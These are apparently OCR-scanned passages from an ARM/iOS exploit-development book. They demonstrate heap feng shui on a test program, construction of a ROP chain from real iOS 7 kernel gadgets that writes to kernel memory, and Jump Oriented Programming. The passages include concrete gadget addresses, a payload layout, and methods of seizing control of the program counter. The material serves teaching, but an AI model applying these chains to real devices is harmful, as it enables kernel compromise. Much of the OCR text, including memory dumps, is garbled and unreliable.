0x17520080: 0x00000000 Ox000POO00 PxPOOLOVDO OXxPRLLOROY
0x17520090: 0x00000000 Ox0POVVODO 0x00000000 OXxPDVBOR00
0x175200a0: 0x00000000 OxP0000000 DOx0P0OOOOO OXxPOLOBBB0
0x175200b0: 0x00000000 Ox0CD0P00P 0x000000DO OXxPORPOYB0O
0x175200c0: 0x00000000 Ox000OPR0D Ox0PBRPAOD OxPOOVRRO
9x175200d0: Ox00000P0O0 0Ox000000D00 ©x00000000 OXPPOOOBBO
9x175200e0: Ox000000DO Ox00000000 Ox0ODOODAD OxBPOBO200
0x175200T0: Ox000PDODO Ox0OOPOPPE OxPOPRODAO Ox00000000
0x17520100: 0x00000000 Ox00000000 0x0D00POVOO OX0V000000
9x17520110: 0x00000000 0x00000000 ©xPOLOBOOO 0x00000000
0x17520120: 0x00000000 ©x00000000 OxPPOORVLO Ox00L00000
0x17520130:( Ox4b4b4b4ib)0x00000000 0x0P0PDORD OXx0DOVOO00
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Although these strings are adjacent in memory, they are not
necessarily in order of how we allocated them. As you can see
above, 0x48484848 (the hexadecimal representation of ‘HHHH’) is
placed next to @x4b4b4b4b (the hexadecimal representation of
‘KKKK') despite these letters not being directly next to each
other in the alphabet. |

This does not affect the process of exploitation however. All we
need to be able to do is free and edit whichever strings we like, ‘

If we free the @0x4b4b4b4b (‘KKKK') string and then allocate an
object, the new allocation should hopefully fall into this exact
spot in memory.

We can free the string by choosing option 3 (to delete a string)
and specifying the index 10 (since ‘K’ is the 11th letter in the
alphabet.

Enter index of string to delete:
10

String deleted!

Now we can allocate an object using option 4 and see that it does
indeed get allocated in the ‘hole’ we just made.

4

Object created atl ©8x17520130
[1] New string

[2] Edit string '
[3] Delete string

[4] New object
[56] Delete object
[6]1 Verify object
[7] Quit

i
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we

pinter in place of the old string.

gdb) x/512wx 9x17520030

éx17529039=
0x17520040:
0x17520050:
0x17520060:
9x17520070:
px17520080:
px17520090:
px175200a0:
px175200b0:
9x175200c0:
9x175200d0:
9x175200e0:
9x175200f0:
9x17520100:
9x17520116:
9x17520120:
0x17520130:
0x17520140:

To trigger the buffer overflow vulnerability all that

Ox48484848
@x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
@x00000000
0x00000000
0x00000000
0x00000000
9x00000000
9x00000000
0x00057870
0x00000000

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
9x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
2Xc0000000
0x00000000

0x00000000
0x00000000
0x00000000
2x00000000
0x00000000
0x00000000
0x00000000
0x00000000
9x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
9x00000000
0x00000010
0x00000000

can re-examine the contents of the memory to find a function

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
2x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

is left to

do is edit the ‘HHHH’ string and place a huge amount of data that

will reach past the bounds of the string buffer and will overwrite

the function pointer.

For the sake of demonstration I will replace the string with a
huge amount of ‘A’s.

2

Enter index of string to edit:

7

Enter new string data:

AARAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAANAAAAANAAAAANAAAANANARAAAAAAAAAAAAAAAAAAAAAAAAAAA
AARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARANAAAAAAAAAAAAAAAAA
AARARAAAAAAAAAAAAAAAARAAAAAAAARAAAAAAAAANAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAAAAAAA
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAARAARAAAAAAAAAAAAAAARAAAAAAAAAAAAARAARAAAAA
AARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAARAAAAAAARAAAAAAANAAAAAAAAAAAAAAAAA
AARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAARAARAAAAA
AAAAARAAAAAAAARAAAAAAAAAAAARAARAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAARARARANAAAAAAAARARAAAA
AAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAA
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ARAARAARAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
:AAAAAAﬁAﬁﬁAAAﬁAAAA&ARﬁhAAAAﬂAAMAﬂAAﬂAﬁAﬂhAA#AAAAAAA#ARAAAﬁAAAhAﬁAAAAnAAAAAAAAhﬁAHM#A
AA

String is at @x17520030
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B

The function pointer that was once at address 0x17520130 has now
been overwritten with 0x41414141.

{(gdb) x/512wx @x17520030

0x17520030:
0x17520040:
0x17520050:
9x17520060:
0x17520070:
0x17520080:
0x17520090:
0x175200a0:
0x175200b0:
0x175200c0:
0x175200d0:
0x175200e0:
0x175200f0:
9x17520100:
0x17520110:
0x17520120:
0x17520130:
0x17520140:
9x17520150:
0x17520160:

Selecting option 6 to verify the object will load R15

Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141

Ox41414141

Ox461414141
0x00000000

Ox41414141
Ox41414141
0x41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141

0x41414141

Ox41414141
Ox41414141
0x00000000

Ox41414141
Ox41414141
0x41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
0x00414141
0x41414141
0x41414141
Ox4141414]
Ox41414141
0x41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
Ox41414141
0x00000000

0x41414141 and the process will terminate!

(]

Breakpoint 2, @x@0057d5c in main ()

i(gdb) ¢
Continuing.

Ox41414747
Ox41414141
Ox41414141
Ox41414141
Ox41414147
Ox4141414q
Ox41414149
Ox4141414q
0x41414141
Ox4141414q
Ox41414147
0x41414141
Ox41414147
0x4141414]
Ox41414141
Ox41414141
0x41414142
Ox41414141
0x00000000
0x00000000

with

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address:

0x41414140 in ?? ()

(gdb) B
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conclusion

In this chapter we have looked at a useful heap layout
manipulation technique known as ‘Heap Feng Shui’. We have
discussed, with the aid of diagrams, how the technique works and

what it is used for.

Keep 1in mind that, when targeting a larger process, as well as the
heap starting out in an even more unpredictable state than the
heap in the test program the attacker will likely not have a way
to see the specific memory addresses at which each of their
allocations have been placed.

This would reinforce the need for the use of the Feng Shui
technique because even if they were lucky and landed two
allocations directly adjacent to each other, they would have no
way of knowing they had done so without proceeding to trigger the

bug.

Therefore, using Feng Shui effectively will result in a high
chance that the heap is arranged in the desired way every time the
exploit is run without the exploit developer having te explicitly
see that a specific allocation has landed next to another.
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Kernel-Level ROP

With your newly acquired knowledge of memory corruption bugs,
Return Oriented Programming (ROP) and mitigation bypasses that yoy
have learned through the course of this book series, we will now
look deeper into the process of constructing a ROP chain on a real
target system where the specific gadgets that we need are not
simply given to us.

Throughout the chapters of this book series we have only ever
built ROP chains using artificial gadgets that were placed in the
application binary deliberately. Up until this point we have never
actually had to search a binary for gadgets and determine which
ones would be useful to us in a particular situation.

Throughout this chapter we will look at the process of building a
ROP chain using real gadgets and look at how we can search for
them in a chosen target binary.

The chosen target binary I will be using is the i0S kernel. If you
want to follow along with this chapter, you can get hold of an i0S
kernel binary file of your own by downloading an IPSW (i0S
firmware file) from a website such as https://ipsw.me or https://
ipswecentral.com and then extracting its contents. Inside you will
see various files and amongst them will be a kernel cache.

Depending on the i0S version you choose, the kernel cache file may
be encrypted. In which case, you will need to decrypt it using the
publicly available firmware decryption keys available on https://

www, theiphonewiki, com/wiki/Firmware_Keys using Xpwntool (https://
github.com/planetbeing/xpwn/blob/master/ipsw-patch/xpwntool.c).
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u want to follow along building a similar ROP chain for

0

Ifoiher target platform, you will need to find a way to get hold
a: a copy of the binary of the chosen application.

0

gince t+he focus of this chapter is all about constructing ROP

3 1oads for real target applications, we will not be covering the

exploltatlon process used to execute the ROP chain that we will
nStrUCt — instead we will be using special tools that will allow

us to freely execute arbitrary code in the kernel,

searching for Gadgets

]S, The aim or purpose of the ROP payload we will build will be to

that yaf carry out the simple task of applying a ‘patch’ to the process

.1 now pemory. In other words, a ROP chain that makes an arbitrary write

Y a remto an arbitrary memory location. This has a lot of real world use

10t - many exploit payloads will want to modify certain variabltes in
the live process and this is how they can do it!

er This will be perfect for demonstration purposes as it will only
in thel require a small amount of gadgets to achieve and will allow us to
e neveyget a sense for what ROP chain construction is really tike.

hich
searching a binary for gadgets is fairly easy. As we know, ROP

gadgets are small sequences of instructions ending with a return
ding a instruction. Knowing this, we can either use a tool or manually
for search through the binary for these return instructions. When we
find one, we can search backwards 4 bytes at a time to see if any
of the instructions before it will be of any use to us.

If you
an iog There are many open source tools out there that will provide you

this functionality (and more!) some of which are referenced at the
tps:// end of this book.

You could even write your own tool to do this. I have personally
written my own (very basic) ARM & ARM64 gadget finder and it is
ile may available on https://github.com/Billy-Ellis/ARM-Gadget-Finder. It
ing the works by searching the binary for the four-byte—encoding of each
-ps:// ©°f the possible return instructions for the specified architecture
ps:// (on ARMv7 this would be either ‘BL LR’ or ‘POP {R7,PC}’ and on
ARMG64 would just be ‘RET’) and then searches backwards in 4-byte
chunks to discover useful instructions.
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Since my own gadget finder is somewhat limited, I will use the one
created by Jonathan Salwan instead. You can get it here https://
github.com/JonathanSalwan/ROPgadget/tree/master.

This gadget finder supports multiple architectures and has a range
of different features, all of which are listed on the Github page
linked above.

Running ‘./ROPgadget.py —binary’ followed by the path to the i0S
kernel binary prints a list of all of the available gadgets.

[ X X ] ROPgHgHT-rasier — -bagh — 106n31
Billys-MacBook-Pro:R0Pgadget-master billyellis$ ./ROPgadget.py --binary ./kernel712n90
Gadgets info on
= sresasesnzEsEEEEREES
0x800203a8 : adc rl, rl, 12 ; bx 1r
0x800203a8 : adc rl, rl, r2 ; bx lr ; ldr ip, [r3, #0«B4) ; ldr r®, 48] ; bx 1r
8280020308 : adc rl, rl, r2 ; bx lr ; ldr ip, [¢3, WOB4) | ldr 18, #8] ; bx 1r ; sitc r0, (r3, adx70]
; 1dr ip, [r3, #0x84) ; str r8, (ip, #8) ; bx 1r
9xB8001902c : , r5, r1 ; strexd r3, r8, sb, [¥2] ; cmp r3, #0 ; bne #21475B86108 ; mov r0, r4 ; mov rl
. 15§ pop
DrBBdLeLTA de sp, 8l sr #2 ; ldrsbeq pc, [ré4), ré ; ldmib rd, {r4, r5, ré, r8, ip, sp, pck *
9x8005%ddc adceq pec, ip, 3 sr #17 ; ldrsbtne pe, (@), sl ; svelt #8x384288 ; adcsey pc, @, sl,
#17 ; ldmib r2, {r1, r3, sb ip, pct *
0xB0GCfBIO : adcey pc, rd, #Bxc50008 ; corvc pc, ip, r5, lsl #10 ; ldmib s}!, {r®, r4, r6, B, sb, sl, ip,
sp, lr, pct
0xBOOCfBFO : adcoq poc, rd, WBxc58080 ; corve pc, ip, r5, 1sl #10 ; ldmib sl!, {r0, r4, r&, B, sb, sl, ip,
sp, lr, pc) ; strove pe, £r8], #-Ox4f ; rsbsvc pc, rd, r5, 1sl #ld ; orrve pc, r4, pc, asr #8 ; mavsmi pc
, #0xc50000 ; ldmib ro0!, {r8, r4, 16, r6, sb, s1, ip, sp, 1r, pc}
0x800ce3b4 : adceq pe, r4, rh, asr #l17 ; adcseq pc, r8, r4, 1s1 #2 ; ademi pc, r8, rv4, asr #17 ; adcvs pc,
rd, r4, asr 17 ; adcsvs pe, r4, r4, ast #17 ; adcsvs pe, t0, r4, asr #17 ; ldmdb ré!, {(rd, r1, r3, 16, r
8, sb, sl, ip, sp, 1r, pct *
0x801acBcB : adceq pc, r4, 18, asr 417 ; addeq pc, r&, rB, asr #17 ; pop {ri, r2, ip, sp, pc}
8xB014d7a0 : adcge pc, 0, sp, asr A17 ; andhs r4, ip, #0x%100000 ; ldm ip!, {rG, rl, r4, rh4, r?, sb, si,
ip, sp, 1r, pe}
0x@0275a70 : adehi pc, ip, T® ; addsmi pc, ip, r4, asr #17 ; strh r4, (re), -r@ ; 1dm r8!, (@, r1l, r3, r§
, r7, 8, s, ip, sp, 1r, pc} *
BxB00cc520 : adchi pe, 1r, #8x40 ; stmdbhs r0, {rd, rd, r4, r5, r7?, fp, sp, 1r} ; adchi pc, si, #0 ; ldm T
@, {ro, v1, r2, fp, ip, pc}
0xB01d95dB : adchi pc, rB, #¥8x4b ; adesmi pe, r8, r3, asr #12 ; andseq pc, sl, r0, asr #5 ; vgshl.sB q2, q

; qsubBmi r4, r0, ip ; ldmdb v@, {ré, sb, sl, ip, sp, 1lr, pc}

: adchi pc, s, #8 ; ldm re, {r®, r1, r2, tp, ip, pc}

0x80207780 : adchi r8, ip, r3 ; rschi r4, r8, r4, lsr ro ; andlt pe, 18, r5, asr #17 ; strtmi r4, [r8], -s

Obviously with a binary as large as the i05 kernel, thousands of
lines of gadgets will be printed and it can quickly become very
difficult to search through them manually to find what you are
looking for.

Luckily for us, some of the other features of this gadget finder
include the ability to filter out certain gadgets and set specific
search criteria to the gadgets you are hoping to find.

One of these features is to specify the ‘—only’ argument which |
allows us to scan a binary for gadgets and filter out any that do
not meet our criteria.

For example, if I wanted to find all of the gadgets containing a
‘POP' instruction I could run ‘./ROPgadget —binary ./kernel712n98
—only pop’:
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This returns only a list of gadgets containing ‘POP’ instructions.

ROPgadget-masier — -bash — 10631
m;1‘._1—Mn|:i!9:n:—r’w:RUPundnat-mnster billypllis$ ./ROPgedget.py —-binary ./kernel7i2n98 —-only pop
Gadgets information

- =

= T
{re, sp, pc}
{ro, ip, sp, pc}
{re, r2, ip, sp, pe}
{re, r2, r3, ip, sp,
{ro, r2, . 4, ip,
{re, r2, r4, 5,
{ro, . T4, TS,
{ro, r2, , T4, ré,
{ro, r2, s, 1ip,
{re, r2, , 5, ré,
{ro, 12, ré, ip,
{r8, 2, sp, 1lr,
{r@, r2, ip, sp,
{r@, r2, 5, 16,
{re, T2, 15, 16,
{re, r2, r6, ip,
{re, 2, ch, t7,
{re, 2, 6, 7,
. MK {r0, T2, 6, sb,
fgxApdcEles @ {ro, 6, sb,
pefdRTaRbL © {r8, s1, fp, 1
AxEBReae : ip, sp,
peEeR9sibae b, 17,
axERBGE138 @ 6, 17,
PeERLAE3LG ip, sp,
axfRezvdag : sp, pch
AnBREbTaBE ip, sp,
AxpRpRIffc ¢ 5, ré,

If you are working with a much smaller target program than a
kernel, it may be more practical to just open the binary in Hopper
Disassembler or IDA Pro and manually search the binary for the
gadgets you need.

After spending some time searching through the available gadgets,
I found several within this i0S kernel binary that could be useful
to us when constructing our payload.

The first gadget I discovered was one that would be perfect in our
case — a ‘write-what-where’ style gadget:

80850ba8 str ro, [r4]
80850baa pop {ra, r7, pc}

This gadget stores whatever data R@ holds at the memory address
pointed to by R4, very similar to the gadget we used when
attacking ROPLevel3 in Chapter 6 of Volume I. It then returns by
POP’ing values from the stack into R4, R7 and PC.

Assuming we can control R® and R4, we have an arbitrary write
primitive. We could load R® with some data and load R4 with an
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address we want to target. Executing the gadget would then result
in our data being written to our chosen address!

' But how do we control R® and R47?

I found another useful gadget inside the kernel binary that allows
us to do just that.

mov rg, r4

80002cf4 {r4, r5, r6, r7, pc}

80002cT6 pop

Notice how this gadget first copies the value of R4 to R@. This
may initially seem useless as we have not yet controlled R4.
However, the next instruction in this gadget allows us to control
R4, R5, R6, R7 and PC.

So what we can do is execute the gadget not once, but twice. The
first execution will allow us to control the value of R4, and the
second execution will move the value of R4 into R® before
controlling R4 again.

Finally, we will execute the write-what—where gadget to apply the
patch to kernel memory. Perfect! .

Before we actually construct the ROP payload, we need to choose a
target address that we want to patch. For demonstration purposes,
we will target address 0x802d732c which holds the kernel version

string.
802d732c db "Darwin Kernel Version 14.0.0: Thu Muy 15 23:18:01 PDT 2014;
802d7393 db oxe9 ; ',

At this address lies a string representing this kernel’s version
and some other information such as the date it was compiled.
Patching this would not be of any use to a real attacker, but it
will serve as a good example for us as we will be able to easily
see if the payload worked or not.

Here is a high level overview of our ROP chain:

1. Place a series of values on the kernel stack in such a way that
when the first gadget executes, RO will hold some arbitrary
data (0x41414141) and R4 will hold the address of the kernel
version string (0x802d732c).
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2. Execute the first gadget twice, loading R@® and R4 with the
desired data.

3. Return and execute the second gadget, performing the write
operation of 0x41414141 (AAAA) to the address of the kernel
version string

Easy enough, right? Let’s look at exactly how we can put this into
practice.

Again, keep in mind that we will not be exploiting any kernel
vulnerabilities in order to execute this ROP payload. We will skip
over the exploitation phase by using the tools mentioned
previously.

Building & Executing the Payload

To construct the ROP payload, we need a place in kernel memory for
it to go. You could directly write it to the kernel stack, but a
more practical approach would be to write it to some other memory
and then perform a stack pivot when we wish to execute it.

At the very start of the kernel binary (at address 0x80001000)
there is a large area of memory used for the Mach-0 header.
; MachO Header

80001000 dd @xfeedface ’

80001004 dd 0x0000000cC

80001008 dd 0x00000009

8000100c dd 0x00000002

80001010 dd 15

80001014 dd 0x00000924

80001018 dd 0x00200001

; Load Command @

8000101c dd 0x00000001

80001020 dd 0x00000104

80001024 db T, e, XY, T, "Axee !,
8000102c db "\x00', '\x00', '\x00', '\x00', '\x00'
80001034 dd 0x80001000

80001038 dd 0x0031d000

8000103c dd 0x00000000

80001040 dd 0x0031d00o
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This is a perfect location to store our ROP payload as modifying
this memory will not affect the execution of the kernel.

Assuming that we can execute a stack pivot that will set the stack
pointer to point directly to the start of this memory, we can
start writing our payload data from address 9x80001000.

The visualisation below depicts the data that makes up our ROP
payload (address 0x80001000 being at the top of our fake stack and
0x8000103C being at the bottom):

0x80001000
0x80001004
0x80001008
0x8000100C
0x80001010
0x80001014
0x80001018
0x8000101C
0x80001020
0x80001024
0x80001028
0x8000102C
0x80001030
0x80001034
0x80001038
0x8000103C

0x41414141
0x80002CF5
0x41414141
0x42424242
0x43434343
0x44444444
0x80002CF5
0x802D732C
0x42424242
0x43434343
0x44444444
0x80850BA9
0x30303030
0x31313131
0x32323232
0x00000000

Junk

Ar”””Address of MOV RO, R4 ,
— POP {R4, RS, R6, R7, p()

—————— Dpatch data (AAAA)

Values to be
POP’'d into R4-R7

=

4—— Address of MOV Ro, R4
POP {R4, R5, R6, R7, PC}

1h~___-‘“hh

Address of kernel
&ve rsion string
Values to be

POP’d into R4-R7

RO, [R4] ;
{R4, R7, PC}
Values to be
POP'd into R4,
R7, PC

The memory addresses shown in this diagram are not taking into
account the presence of KASLR (Kernel Address Space Layout
Randomisation). When actually carrying out this process on a
device, you will first have to add the KASLR slide to each of the
gadget addresses just as we have shown through some of the example
programs in this book series,
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Using the aforementioned tools, we can execute an artificial stack
pivot which will set SP to 0x80001000. Then all that is required
is to execute a return instruction of some sort — this will then
begin taking values from our fake stack and execute the payload!

After executing the ROP chain the kernel will panic. This is to be
expected since we did not perform any kind of tactical clean-up to
allow the kernel to survive past the payload execution.

However, we can confirm that the payload produced the outcome that
we were hoping for by examining the panic log. In the screenshot
below you can see that the ROP chain successfully applied the
‘patch’ to the kernel version string since it now reads ‘AAAAin’
instead of ‘Darwin’ in the log file (as a result of 0x41414141
being written to address ©x802d732c):

Hardware Model: iPhone3,1
Date/Time: 2018-08-12 14:15:49.816 +0100
0S Version: i0S 7.1.2 (11D257)

panic(cpu @ caller @x87e22003): sleh_abort: prefetch abort in kernel mode:
fault_addr=6x32323230

I0: Ox41414141 1l: 8x87e01000 Tr2: 0xP00GPEO1 T3: 0x60000013

T4 0x30303030 15: Ox42424242 rb: Ox43434343 r7: 0x31313131

8: 9x88136000 r9: Ox88c3e000 rl0: ©x8817b2a@ rll: Oxc83363de

rl2: ©x80b98330 sp: @x87e0103c 1r: 0x87fe49d7 pc: 0x32323230

cpsr: 0x20000013 fsr: 0x00000005 far: @0x32323230

Debugger message: panic

0S version: 11D257

Kernel version:Kernel Version 14.9.0: Thu May 15 23:18:01 PDT 20814;
root:xnu-2423.10.71~1/RELEASE_ARM_S5L8938X

Kernel slide: 9x0000000067¢00000

We can also observe that some of the registers still hold values
the that we control, including the Program Counter register which
holds ©x32323230. If we wanted to execute a larger ROP chain, all
we would need to do is replace this controlled value with the
address of another gadget.

And that's it! We've successfully built a ROP chain using real
gadgets found within the i0S kernel binary and executed it on the
kernel itself!
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If we were to keep the kernel alive after the execution of the
payload (by doing a tactical clean-up and restoration of
registers) executing the shell command ‘uname -a' would also
reveal the modified kernel version string as a result of our
patch.

Billys-N90AP:~- mobile$ uname -a
Darwin Billys-N90AP 14.0.0{AAAAin Kernel Version 14, g
.0: Thu May 15 23:18:01 PDT 2014; root:xnu-2423.10.7]

~1/RELEASE ARM S55L8930X iPhone3,1 arm N90OAP Darwin
Billys-N90AP:~ mobile$ |

Try it yourself!

I highly recommend carrying out your own experiments with building
ROP chains for real target systems as it is a great exercise in
developing your intuition and getting used to working with real
ROP gadgets as oppose to the artificially placed ones found within
the ARM exploit exercises.

For those of you who would like to carry out your own ROP
experiments on the i0S kernel while skipping the exploitation
stage, I will briefly discuss how you can do so using tools
available online.

If you wish to work with another target program or operating
system you will have to use other methods to properly set up and
execute a ROP chain (maybe even by exploiting an actual
vulnerability).

Examples of the tools for i0S that you can use are the ‘ios kernel
utils’ (https://github.com/saelo/ios—kern-utils) originally
written by Samuel GroR (@5aelo) and the more up-to-date versions

created by Siguza (https://github.com/Siguza/ios—kern-utils).

These provide you with a range of different functionality
including: reading data from arbitrary kernel memory locations,
writing data (patching) to arbitrary kernel memory locations,
dumping the kernel to a file and locating the kernel base.
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gxecuting a ROP Chain?

At their core, these research tools provide us the functionality
| to write arbitrary data to arbitrary memory locations in the
kernel; That’s all there really is to them.

|
| constructing and executing a ROP chain can be done through a
' series of different write operations.

|

As discussed earlier, the ROP chain we constructed throughout this
chapter was written to address 9x8000100@ (the kernel base). This
was achieved simply by using the tools to write data to the
address specified (after the KASLR slide had been added).

gut how was it possible to execute it? For this, you have a few
options. You essentially just need a way to control R15/PC, as the
goal would also be when developing a real exploit.

with the ability to write to anywhere in kernel memory this
pecomes a fairly easy task.

one of the methods of doing so is described in detail by Brandon
Azad (@_bazad) in his post ‘Live kernel introspection on

i0S’ (https://bazad.github.io/2017/09/1live-kernel-introspection-
ios/#generic—kernel-function-calls—on-ios—and-macos).

However, there are much simpler ways, such as overwriting syscall
handlers inside the kernel.

You can locate the kernel syscall table using a tool such as Joker
by Jonathan Levin (http://ww.newosxbook.com/tools/joker.html).
Replacing a handler is done by replacing the pointer to the
handler function for a specified syscall. When this syscall is
invoked, the kernel will jump to your controlled address!

Whichever way you choose, the next step is to perform a stack
pivot (refer to Chapter 4) to point the Stack Pointer register to
the start of the ROP stack. I did this by writing some of my own
instructions to kernel memory that moved address 0x80001000 into
SP.

When you next execute a return instruction, the chain will begin
executing as it will be using the data on the new fake stack!
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Conclusion

In this chapter we have looked more in depth at the process of Rop
chain construction on a real life target system. We have discusseq
some of the ways in which you can scan your chosen target binary
for useful gadgets, looked at how you can select gadgets that best
suit the needs of your payload and even briefly looked at how yoy
can set up your own ‘kernel research playground’ where you can
freely build and test ROP chains!

Hopefully this has given you a better understanding of the process
of ROP chain construction when the ‘perfect’ gadgets are not
deliberately planted in the target binary waiting for you to find
them!

If you want more information on using the kernel tools that were
briefly mentioned at the end of this chapter, I have a video
tutorial on YouTube that can be found here https://

www. youtube. com/watch?v=Qp9LLY2-51U that discusses more on the
topic of using the vm_read() and vm_write() Mach API calls to
manipulate kernel memory.
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ROP Variations

return Oriented Programming (ROP) is a powerful payload execution
technique which you should be very familiar with at this point. It
provides us the ability to construct exploit payloads using
sequences of instructions that already exist within the target
pinary, which is why ROP is also known as a type of ‘code reuse’
attack method.

You probably already associate the terms ‘Return Oriented
Programming’ and ‘code reuse attack’ with each other, but you may
not be aware of the fact that there are other methods of code
reuse that, while heavily inspired by the original ROP technique,
are not the same as it.

These other techniques each have their own advantages (and
disadvantages) over ROP so it is useful to know how to utilise
them.

One of these techniques is known as ‘Jump Oriented Programming’
which was originally discussed in this paper https://
WwW. comp. nus.edu.sg/~liangzk/papers/asiaccsll. pdf.

JOP vs ROP

Jump Oriented Programming (JOP) is a variation of the classic ROP
technique. Both ROP and JOP are methods of payload execution in
modern exploits. They also are both code-reuse-based techniques,
meaning that they work by piecing together parts of legitimate
code in order to construct a payload.
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The most significant difference between these two techniques is
the way in which they chain their ‘gadgets’.

With Return Oriented Programming (ROP), gadgets must end with a
return instruction. This allows the execution to be passed to the
next gadget in the chain, of which the address for would have been
set up on the stack.

On the other hand, with Jump Oriented Programming (JOP), gadgets
do not end with a return instruction. Instead, they end with an
unconditional branch to a register, which also means that JOP
payloads can sometimes be executed without using a stack pivot.

For example:

_gadgetl:
0000beb0 pop {re, r1, r2}
0000beb4 blx r4 '

The above gadget POP’s some values from the stack into R@, R1 and
R2 and then branches to R5. This is an example of the type of
gadget that could be found within a JOP payload.

But how are these types of gadgets chained together?”

In JOP payloads, we must use a special type of gadget in order to
chain together all of the ‘functional’ gadgets. This special
gadget is known as the ‘dispatcher gadget’.

The Dispatcher Gadget

A dispatcher gadget is a special sequence of instructions that
acts as a kind of ‘virtual program counter’ for the JOP payload.

During the execution of a JOP payload, the dispatcher gadget is
executed over and over again to continue the execution flow of the
gadgets.

Below is an example of a dispatcher gadget:

_dispatcher:
0000bead add r5, r5, #0x4
0000bead dr r1, [r5]
0000bea8 blx ri
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This is the most basic example of a dispatcher gadget that one
might use in their JOP payload. It consists of three instructions.

The first instruction increments the value of R5 by 0x4. This is

used to replicate the behaviour of a program counter. Next, R1 is
1loaded with data stored at the address pointed to by R5. Finally,
the dispatcher branches to R1.

Assuming that R5 is already holding a pointer to some attacker-
controlled memory, this dispatcher is able to jump to different
gadgets in the process by loading their addresses into R1 and then
jumping to them.

pue to the fact that the dispatcher gadget will be executed
multiple times during a JOP payload execution, each time it is
executed a new value will be loaded into R1 and executed as a
result of the increment.

This is how the dispatcher gadget is used to execute a series of
JOP gadgets in chronological order.

The only other requirement to allow this to happen is that each
gadget that is executed must jump back to the dispatcher gadget
after it has finished.

This is how gadget chaining is still possible without the use of
return instructions.

Note: the increment value in the dispatcher gadget does not
necessarily have to correspond with that of a real program counter
(being 8x4). This value could be anything as long as the exploit
developer places their gadget addresses at an offset from each
other that corresponds to this.
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Example

The following example will illustrate a basic JOP attack to better
explain how it works.

We’'ll assume a particular target binary contains the same
dispatcher gadget as shown on the other page.

_dispatcher:
0000bead add r5, r5, #0x4
0000bead dr rl, [r5]
0000beas blx ri

We will also assume that R5 conveniently holds the address of some
memory that we control. Despite one of the main reasons for using
JOP instead ROP being to avoid messing with the stack, we will use
a stack-based buffer as the controlled memory area for the purpose
of this example. This allows us to set up the addresses of our
gadgets in this buffer much like we would do with a ROP payload.

For the sake of simplicity, in this example we will execute only a
single gadget and then return back to the dispatcher just to
demonstrate the concept.

The gadget we will execute is shown below:

_gadget1l:
0000bea8 mov r7, r8
0000beac ldr re, [sp, var_20]
0000bebo blx re

The useful instruction in this gadget is the first instruction -
‘MOV R7, R8'. This is what the theoretical attacker wants to
execute,

The remaining two instructions allow us to jump back to the
dispatcher. The ‘LDR RO, [SP, #-32]’ loads R@ with a value from
somewhere within the controlled buffer and then ‘BLX R@’' jumps to
that address.

This address needs to point back to the dispatcher to allow the
payload to continue.
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gtarting the JOP payload execution can be done in a couple of
different ways. We could start by jumping to your first functional
gadget and then allow that gadget to jump to the dispatcher to
continue the chain.

Alternatively, we can start directly with the dispatcher. The
diagram below shows the payload’s flow of execution:

Stack
AAAA
_gadgetl:
> 0000bea8 mov r7, r8
Oxbead 0000beac dr re, [sp, var_20]
00060bebd blx re
CCCC
DDDD
- "N I
Oxbead
QQQQ
RRRR
_dispatcher:
0000bead add r5, r5, #06x4
0xbead P 6000beas r 1, [r5]
0000beaB blx ri

The shaded item on the stack (holding @xbea®) is the point of the
saved return address (in this assumed overflow situation) and
therefore is the location at which code execution will jump to
first. This address is pointing to the dispatcher gadget.
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Stack Since R5 already holds the address

_ pointing to the start of this stack

| - AAAA buffer, when the dispatcher gadget
| loads R1 with the data at R5 + 0x4, R1

‘ Oxbea8 ' is being loaded with @xbea8.

CCCC This is the address of the functional
gadget which is then branched to next,

DDDD

The gadget would then execute its first
instruction before loading R® with a
" value from within the stack buffer.

[ Oxbead This value is circled on the diagram

and is the address pointing back to the
dispatcher gadget.

AAAA
As a result, the dispatcher gadget is
executed once again and the ‘virtual Oxbea8
program counter’ is incremented so that

I
the next gadget is up next for CCCC |
execution.

DDDD
In this case, ‘CCCC’ sits at the next
location so the process would
terminate. "t

However, this clearly illustrates how several gadgets can be

chained together to form a payload just like with Return Oriented
Programming!

Carrying out this process on an test binary produces the outcome
we expect, with the value of R8 also in R7 (as a result of the
functional gadget) and the PC set to @x43434342!

Thread 0 name: Dispatch queue: com.apple.main-thread
